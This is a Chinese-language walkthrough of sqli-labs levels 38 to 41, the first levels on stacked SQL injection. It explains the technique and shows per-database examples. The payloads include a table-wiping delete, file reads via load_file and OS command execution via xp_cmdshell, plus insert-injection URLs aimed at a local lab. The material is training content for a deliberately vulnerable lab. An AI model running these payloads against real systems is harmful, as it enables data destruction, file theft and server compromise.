Less 38
基于错误_GET_单引号_字符型_堆叠注入
从这关开始便是 Page 3 的内容了:Stack Injection(堆叠注入),从名词含义看就是多条 sql 语句一起执行。
首先我们要学习前置知识:堆叠注入的原理、局限性与各数据库的实例。
参考:《MySQL注入天书》
0x01. 原理介绍
在 SQL 中,分号;
用来表示一条 SQL 语句的结束。试想我们在;
结束一个 SQL 语句后继续构造下一条语句,两条语句会不会一起执行?这个想法也就造就了堆叠注入。
而 Union Injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别?
区别就在于union
或者union all
执行的语句类型是有限的,可以用来执行查询语句,且在 MySQL 中返回的列数需要相等;而堆叠注入可以执行的是任意的语句。
例,用户提交:
id=1;delete from users
而服务器未做检查,生成的 SQL 语句为:
select * from users where id=1;delete from users
执行后,第一条将显示查询信息,第二条将删除整个表。
0x02. 局限性
堆叠注入并不是在每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制,同时权限不足也会使攻击者无法修改数据或者调用一些程序。
虽然前面提到了堆叠查询可以执行任意的 SQL 语句,但是这种注入方式并不是十分完美。在我们的 Web 系统中,代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面无法看到返回结果。
因此在读取数据时,建议使用union
注入。同时在使用堆叠注入之前,我们也需要知道一些数据库相关信息如表名,列名等。
0x03. 数据库实例
下面介绍几个常用数据库的堆叠操作:基本操作与增删查改。
0x03-01. MySQL
- 新建表
test
select * from users where id=1;create table test like users;
- 删除新建表
test
select * from users where id=1;drop table test;
- 查询数据
select * from users where id=1;select 1,2,3;
- 加载文件
select * from users where id=1;select load_file('c:/test.php');
- 修改数据
select * from users where id=1;insert into users(id,username,password) values('100','name','pswd');
load_file()函数
读取文件并返回文件内容为字符串。
要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限;该文件所有字节可读,但文件内容必须小于
max_allowed_packet
。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回
NULL
。
注意:这里还是有数据导入导出权限的问题,在 Less 7 中也遇到过。
Mysql数据库需要在指定的目录下进行数据的导出。
secure_file_priv
这个参数用来限制数据导入和导出操作的效果,例如执行load data
、into outfile
语句和load_file()
函数,这些操作需要用户具有file
权限。1. 如果这个参数为空,这个变量没有效果。
2. 如果这个参数设为一个目录名,Mysql服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它.
3. 如果这个参数为null
,Mysql服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入。于是查看
secure_file_priv
:show variables like '%secure%'
在指定的位置导出文件:
注意:在 MySQL 中,需要注意路径转义的问题,即用/
或\\
分隔。
参考:
windows下mysql loadfile返回NULL的解决
MySQL里设置或修改系统变量的几种方法
这里有修改系统变量的几种方法,可以考虑注入时涉及文件操作时先修改权限。
0x03-02. SQL Server
- 新建表
select * from test;create table test2(ss CHAR(8));
- 删除新建表
select * from test;drop table test2;
- 查询数据
select * from test;select 1,2,3;
- 修改数据
select * from test;update test set name='name' where id=1;
- SQL Server中最为重要的存储过程的执行 *有待学习
select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
【*有待学习】
0x03-03. Oracle
上面的图中已经提及,Oracle 不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错无效字符。
0x03-04. Postgresql
- 新建表
select * from user_test;create table user_data(id DATE);
- 删除新建表
select * from user_test;delete from user_data;
- 查询数据
select * from user_test;select 1,2,3;
- 修改数据
select * from user_test;update user_test set name='new' where name='name';
0x04. 注入过程
堆叠注入需要依靠前文所写的各种注入方式来获取数据库的信息,在这里只演示如何插入新的数据。
http://localhost:8088/sqlilabs/Less-38/?id=1';insert into users(id,username,password) values(38,'Less38','Less38')--+
Less 39
基于错误_GET_数字型_堆叠注入
类似 Less 38,Less 39 是数字型注入,没有过滤任何东西。
http://localhost:8088/sqlilabs/Less-39/?id=1;insert into users(id,username,password) values(39,'Less39','Less39')--+
Less 40
基于Bool_GET_单引号_小括号_字符型_盲注_堆叠注入
正常注入可以用脚本 Bool 盲注,堆叠注入如下:
http://localhost:8088/sqlilabs/Less-40/?id=1');insert into users values(40,'Less40','Less40')--+
Less 41
基于Bool_GET_数字型_盲注_堆叠注入
正常注入可以用脚本 Bool 盲注,堆叠注入如下:
http://localhost:8088/sqlilabs/Less-41/?id=1;insert into users values(41,'Less41','Less41')--+